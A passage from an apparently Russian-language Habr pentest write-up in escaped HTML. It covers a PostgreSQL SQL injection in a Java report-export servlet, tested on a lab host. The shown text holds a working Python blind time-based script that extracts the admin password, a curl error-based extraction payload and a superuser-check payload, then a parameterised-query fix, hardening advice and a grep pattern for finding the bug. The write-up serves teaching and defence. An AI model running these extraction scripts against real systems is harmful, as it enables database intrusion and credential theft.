<strong>name<\/strong> == \"__main__\":<br \/> \u00a0\u00a0\u00a0 main()<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a:<\/p>\n<p><code>$ python3 <\/code><a href=\"http:\/\/sql.py\" rel=\"noopener nofollow\"><code>sql.py<\/code><\/a><code> 192.168.56.20<br \/> status:\u00a0 200<br \/> elapsed: 10.31s<\/code><\/p>\n<p>elapsed \u2248 10 \u0441 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b pg_sleep(10). \u0418\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430.<\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0a7\/92d\/fc7\/0a792dfc740c83b6dee2f6439ec0015b.png\" alt=\"\u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0448\u0435\u043b \u0447\u0435\u0440\u0435\u0437 ~10 \u0441\u0435\u043a\u0443\u043d\u0434 \u2014 pg_sleep \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\" title=\"\u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0448\u0435\u043b \u0447\u0435\u0440\u0435\u0437 ~10 \u0441\u0435\u043a\u0443\u043d\u0434 \u2014 pg_sleep \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\" width=\"945\" height=\"111\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/0a7\/92d\/fc7\/0a792dfc740c83b6dee2f6439ec0015b.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0a7\/92d\/fc7\/0a792dfc740c83b6dee2f6439ec0015b.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0448\u0435\u043b \u0447\u0435\u0440\u0435\u0437 ~10 \u0441\u0435\u043a\u0443\u043d\u0434 \u2014 pg_sleep \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b.<\/em><\/figcaption><\/div>\n<\/figure>\n<h3>\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u043b\u043e\u0433\u0430\u0445<\/h3>\n<p>\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u2014 \u043b\u043e\u0433 PostgreSQL. \u0421\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441 \u0440\u0430\u0437\u0431\u0438\u0442 \u043d\u0430 <strong>\u0434\u0432\u0430<\/strong> \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430: \u043f\u0435\u0440\u0432\u044b\u0439 \u2014 \u0448\u0442\u0430\u0442\u043d\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430, \u0432\u0442\u043e\u0440\u043e\u0439 \u2014 \u043d\u0430\u0448 pg_sleep(10), \u0430 \u0445\u0432\u043e\u0441\u0442 \u00a0and QTY &gt; 1 \u0441\u044a\u0435\u0434\u0435\u043d \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c &#8212;:<\/p>\n<p><code>LOG:\u00a0 execute &lt;unnamed&gt;: select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1<br \/> LOG:\u00a0 execute &lt;unnamed&gt;: select pg_sleep(10)-- and QTY &gt; 1<\/code><\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/766\/f65\/12d\/766f6512d0784944414e79dc04015064.png\" alt=\"\u041b\u043e\u0433 PostgreSQL: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 pg_sleep(10).\" title=\"\u041b\u043e\u0433 PostgreSQL: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 pg_sleep(10).\" width=\"945\" height=\"591\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/766\/f65\/12d\/766f6512d0784944414e79dc04015064.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/766\/f65\/12d\/766f6512d0784944414e79dc04015064.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u041b\u043e\u0433 PostgreSQL: \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 pg_sleep(10).<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>\u041e\u0442 blind \u043a \u0434\u0430\u043c\u043f\u0443<\/h2>\n<p>\u0417\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e, \u043d\u043e \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e: \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u0432\u0438\u0441\u0435\u043b \u0434\u0435\u0441\u044f\u0442\u044c \u0441\u0435\u043a\u0443\u043d\u0434, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e. \u041f\u043e\u043a\u0430\u0436\u0435\u043c, \u0447\u0442\u043e \u0437\u0430 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0441\u0442\u043e\u044f\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n<p>\u0421\u0435\u0440\u0432\u043b\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0440\u044f\u0447\u0435\u0442: catch \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442 \u0438\u0445, \u043d\u043e \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0435 \u043e\u0442\u0434\u0430\u0435\u0442. \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0434\u0435\u043c \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0441\u043b\u0435\u043f\u0443\u044e \u0438 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0438\u0442\u0443 \u0442\u0435\u043c \u0436\u0435 \u043f\u0440\u0438\u0435\u043c\u043e\u043c \u0441 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u043e\u0439: \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 pg_sleep, \u0438 \u043e\u0442\u0432\u0435\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0434\u043e\u043b\u044c\u0448\u0435.<\/p>\n<p>\u041f\u0440\u043e\u0431\u043d\u0438\u043a \u043f\u043e \u043f\u0435\u0440\u0432\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u043f\u0430\u0440\u043e\u043b\u044f \u0438\u0437 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u044b APP_USERS:<\/p>\n<p><code>1 and ascii(substr((select password from APP_USERS limit 1),1,1)) &gt; 77 and pg_sleep(1) is not null--<\/code><\/p>\n<p>\u041e\u0442\u0432\u0435\u0442 \u0434\u043e\u043b\u044c\u0448\u0435 1 \u0441\u0435\u043a\u0443\u043d\u0434 \u2192 \u043a\u043e\u0434 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 77. \u0411\u0438\u043d\u0430\u0440\u043d\u044b\u043c \u043f\u043e\u0438\u0441\u043a\u043e\u043c \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u0443 \u0446\u0435\u043b\u0438\u043a\u043e\u043c:<\/p>\n<p><code>import requests, time<br \/> import urllib3<br \/> urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n<p> URL = \"<\/code><a href=\"https:\/\/127.0.0.1:8443\/servlet\/ReportExportServlet&quot;%EF%BF%BC\" rel=\"noopener nofollow\"><code>https:\/\/127.0.0.1:8443\/servlet\/ReportExportServlet\"<br \/><\/code><\/a><code> <br \/> def truthy(cond, delay=1):<br \/> \u00a0\u00a0\u00a0 wid = \"1 and (%s) and pg_sleep(%d) is not null--\" % (cond, delay)<br \/> \u00a0\u00a0\u00a0 t = time.time()<br \/> \u00a0\u00a0\u00a0 requests.get(URL, params={\"minQty\": \"1\", \"warehouseId\": wid}, verify=False)<br \/> \u00a0\u00a0\u00a0 return time.time() - t &gt; delay<\/p>\n<p> sub = \"(select password from APP_USERS where username='admin')\"<br \/> out = \"\"<br \/> for pos in range(1, 14):<br \/> \u00a0\u00a0\u00a0 lo, hi = 32, 126<br \/> \u00a0\u00a0\u00a0 while lo &lt; hi:\u00a0\u00a0\u00a0\u00a0 <br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 mid = (lo + hi) \/\/ 2<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if truthy(\"ascii(substr(%s,%d,1)) &gt; %d\" % (sub, pos, mid)):<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 lo = mid + 1<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 else:<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 hi = mid<br \/> \u00a0\u00a0\u00a0 out += chr(lo)<br \/> \u00a0\u00a0\u00a0 print(\"pos %2d -&gt; %r\" % (pos, out))<br \/> print(\"password:\", out)<\/code><\/p>\n<p> \u041f\u0430\u0440\u043e\u043b\u044c \u0432\u044b\u0442\u0435\u043a\u0430\u0435\u0442 \u043f\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u0443:<\/p>\n<p><code>$ python3 <\/code><a href=\"http:\/\/dump.py\" rel=\"noopener nofollow\"><code>dump.py<\/code><\/a><code><br \/> pos\u00a0 1 -&gt; 'S'<br \/> pos\u00a0 2 -&gt; 'S3'<br \/> ...<br \/> pos 13 -&gt; 'S3cr3t-Adm1n!'<br \/> password: S3cr3t-Adm1n!<\/code><\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/82c\/16a\/c94\/82c16ac942739727d9272261b6d9e947.png\" alt=\"\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0432\u0441\u043b\u0435\u043f\u0443\u044e \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443.\" title=\"\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0432\u0441\u043b\u0435\u043f\u0443\u044e \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443.\" width=\"945\" height=\"574\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/82c\/16a\/c94\/82c16ac942739727d9272261b6d9e947.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/82c\/16a\/c94\/82c16ac942739727d9272261b6d9e947.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0432\u0441\u043b\u0435\u043f\u0443\u044e \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443.<\/em><\/figcaption><\/div>\n<\/figure>\n<p>\u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 <strong>\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442<\/strong> \u043e\u0448\u0438\u0431\u043a\u0443 \u0411\u0414 (\u0447\u0430\u0441\u0442\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 stack trace \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435), \u0442\u043e\u0442 \u0436\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0434\u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043a int \u0440\u043e\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441, \u0430 PostgreSQL \u043a\u043b\u0430\u0434\u0435\u0442 \u0441\u0430\u043c\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043e\u0448\u0438\u0431\u043a\u0438:<\/p>\n<p><code>curl -sk --data-urlencode 'minQty=1' \\<br \/> \u00a0 --data-urlencode \"warehouseId=1 and 1=cast((select password from APP_USERS where username='admin') as int)--\" \\<br \/> \u00a0 -G 'https:\/\/&lt;target&gt;:8443\/servlet\/ReportExportServlet'<br \/> # export failed: ERROR: invalid input syntax for type integer: \"S3cr3t-Adm1n!\"<\/code><\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/592\/d3b\/390\/592d3b3901be9b962573969827961d4a.png\" alt=\"\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u043e \u0432\u044b\u0432\u043e\u0434\u0443 Error.\" title=\"\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u043e \u0432\u044b\u0432\u043e\u0434\u0443 Error.\" width=\"945\" height=\"36\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/592\/d3b\/390\/592d3b3901be9b962573969827961d4a.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/592\/d3b\/390\/592d3b3901be9b962573969827961d4a.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u043e \u0432\u044b\u0432\u043e\u0434\u0443 Error.<\/em><\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u043e\u0442 \u0438 \u0432\u0441\u044f \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u044f \u043e\u0442 \u00ab\u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u0438\u0441\u0438\u0442 10 \u0441\u0435\u043a\u0443\u043d\u0434\u00bb \u0434\u043e \u043f\u0430\u0440\u043e\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439:<\/p>\n<p><code>;SELECT+case+when+(SELECT+current_setting($$is_superuser$$))=$$on$$+then+pg_sleep(10)+end;--+<\/code><\/p>\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a61\/c7c\/2be\/a61c7c2be8fe20fea31931f14bb40664.png\" alt=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, is_superuser=off.\" title=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, is_superuser=off.\" width=\"945\" height=\"272\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/a61\/c7c\/2be\/a61c7c2be8fe20fea31931f14bb40664.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a61\/c7c\/2be\/a61c7c2be8fe20fea31931f14bb40664.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption><em>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, is_superuser=off.<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>\u0427\u0442\u043e \u044d\u0442\u043e \u0434\u0430\u0435\u0442<\/h2>\n<p>\u0427\u0435\u0440\u0435\u0437 warehouseId \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 SQL \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0443\u0447\u0435\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0414\u0430\u043b\u044c\u0448\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0435\u0435 \u043f\u0440\u0430\u0432 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a Postgres:<\/p>\n<p>\u00b7 <strong>\u0447\u0442\u0435\u043d\u0438\u0435 \u043b\u044e\u0431\u044b\u0445 \u0442\u0430\u0431\u043b\u0438\u0446<\/strong>\u00a0\u2014 \u0442\u0435\u043c\u00a0\u0436\u0435 time\u2011based \u043f\u0440\u0438\u0435\u043c\u043e\u043c, \u0447\u0442\u043e\u00a0\u043f\u043e\u043a\u0430\u0437\u0430\u043d \u0432\u044b\u0448\u0435,\u00a0\u043b\u0438\u0431\u043e \u0447\u0435\u0440\u0435\u0437 UNION \u0441\u00a0\u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0442\u0438\u043f\u043e\u0432;<\/p>\n<p>\u00b7 <strong>\u0437\u0430\u043f\u0438\u0441\u044c<\/strong>\u00a0\u2014 \u0440\u0430\u0437 \u0441\u0442\u0435\u043a\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442, INSERT\/UPDATE\/DELETE \u0442\u043e\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b;<\/p>\n<p>\u00b7 \u043f\u0440\u0438\u00a0\u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u0445 \u0440\u043e\u043b\u0438\u00a0\u2014 <strong>\u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u0430<\/strong> (pg_read_file) \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (COPY&#8230; FROM PROGRAM), \u0430\u00a0\u044d\u0442\u043e \u0443\u0436\u0435 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u0443\u0442\u044c \u043a\u00a0RCE.<\/p>\n<h2>\u041a\u0430\u043a \u0447\u0438\u043d\u0438\u0442\u044c<\/h2>\n<p>\u041a\u043e\u0440\u0435\u043d\u044c \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0432 SQL. \u041b\u0435\u0447\u0438\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439.<\/p>\n<p>\u0411\u044b\u043b\u043e:<\/p>\n<p><code>String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=\"<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + warehouseId + \" and QTY &gt; \" + min;<br \/> ResultSet rs = st.executeQuery(qry);<\/code><\/p>\n<p>\u0421\u0442\u0430\u043b\u043e:<\/p>\n<p><code>String qry = \"select distinct(SKU) from WMS_STOCK_ITEMS \"<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + \"where WAREHOUSE_ID = ? and QTY &gt; ?\";<br \/> try (PreparedStatement ps = ConnectionPool.getConnection().prepareStatement(qry)) {<br \/> \u00a0\u00a0\u00a0 ps.setInt(1, Integer.parseInt(warehouseId));<br \/> \u00a0\u00a0\u00a0 ps.setInt(2, min);<br \/> \u00a0\u00a0\u00a0 try (ResultSet rs = ps.executeQuery()) {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 while (<\/code><a href=\"http:\/\/rs.next\" rel=\"noopener nofollow\"><code>rs.next<\/code><\/a><code>()) {<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(rs.getString(\"SKU\"));<br \/> \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 }<br \/> \u00a0\u00a0\u00a0 }<br \/> }<\/code><\/p>\n<p>\u041f\u043e \u044d\u0448\u0435\u043b\u043e\u043d\u0430\u043c:<\/p>\n<p>1. <strong>\u0422\u043e\u043b\u044c\u043a\u043e PreparedStatement \u0438\u043b\u0438\u00a0ORM \u0441\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438.<\/strong> \u041d\u0438\u043a\u0430\u043a\u043e\u0439 \u0441\u043a\u043b\u0435\u0439\u043a\u0438 \u0432\u0432\u043e\u0434\u0430 \u0441\u00a0SQL.<\/p>\n<p>2. <strong>\u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0442\u0438\u043f\u043e\u0432 \u043d\u0430\u00a0\u0432\u0445\u043e\u0434\u0435.<\/strong> warehouseId\u00a0\u2014 \u0447\u0438\u0441\u043b\u043e, \u0437\u043d\u0430\u0447\u0438\u0442 Integer.parseInt \u0434\u043e\u00a0\u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0445\u043e\u0434\u0430 \u0432\u00a0\u0431\u0430\u0437\u0443.<\/p>\n<p>3. <strong>\u041d\u0430\u0438\u043c\u0435\u043d\u044c\u0448\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043b\u044f\u00a0\u0440\u043e\u043b\u0438 \u0411\u0414.<\/strong> \u0423\u0447\u0435\u0442\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435\u00a0\u043d\u0443\u0436\u043d\u044b COPY FROM PROGRAM, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0442\u0430\u0431\u043b\u0438\u0446\u044b.<\/p>\n<p>4. <strong>\u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b<\/strong>, \u0435\u0441\u043b\u0438 \u0441\u043b\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442\u00a0\u2014 \u0441\u0442\u0435\u043a\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0447\u0435\u0440\u0435\u0437; \u0442\u0435\u0440\u044f\u044e\u0442 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443 \u0441\u0438\u043b\u044b.<\/p>\n<p>5. <strong>\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0432\u00a0CI.<\/strong> Semgrep \u0438\u043b\u0438\u00a0CodeQL \u043b\u043e\u0432\u044f\u0442 \u00ab\u0441\u0442\u0440\u043e\u043a\u0430 SQL + \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439\u00bb \u043d\u0430\u00a0\u0440\u0435\u0432\u044c\u044e.<\/p>\n<p>6. <strong>WAF\u00a0\u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430<\/strong>, \u043d\u0435\u00a0\u0437\u0430\u043c\u0435\u043d\u0430 \u0444\u0438\u043a\u0441\u0430.<\/p>\n<h3>\u041d\u0430\u0439\u0442\u0438 \u044d\u0442\u043e \u0433\u0440\u0435\u043f\u043e\u043c<\/h3>\n<p>\u0412\u0435\u0441\u044c \u043a\u043b\u0430\u0441\u0441 \u0431\u0430\u0433\u0430 \u2014 \u044d\u0442\u043e SQL-\u0441\u0442\u0440\u043e\u043a\u0430, \u0441\u043a\u043b\u0435\u0435\u043d\u043d\u0430\u044f \u0441 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439. \u0422\u0430\u043a\u043e\u0435 \u0438\u0449\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0441\u044f\u0442\u044c \u0441\u0435\u043a\u0443\u043d\u0434 \u0435\u0449\u0435 \u0434\u043e \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0430.<\/p>\n<p>\u0413\u0440\u0443\u0431\u044b\u0439, \u043d\u043e \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0444\u0438\u043b\u044c\u0442\u0440 \u043f\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044e (ripgrep, \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c):<\/p>\n<p><code>rg -U -i 'select[^\"]*\"\\s*\\+' --type java<\/code><\/p>\n<figure class=\"full-width \"><img decoding=\"async\" 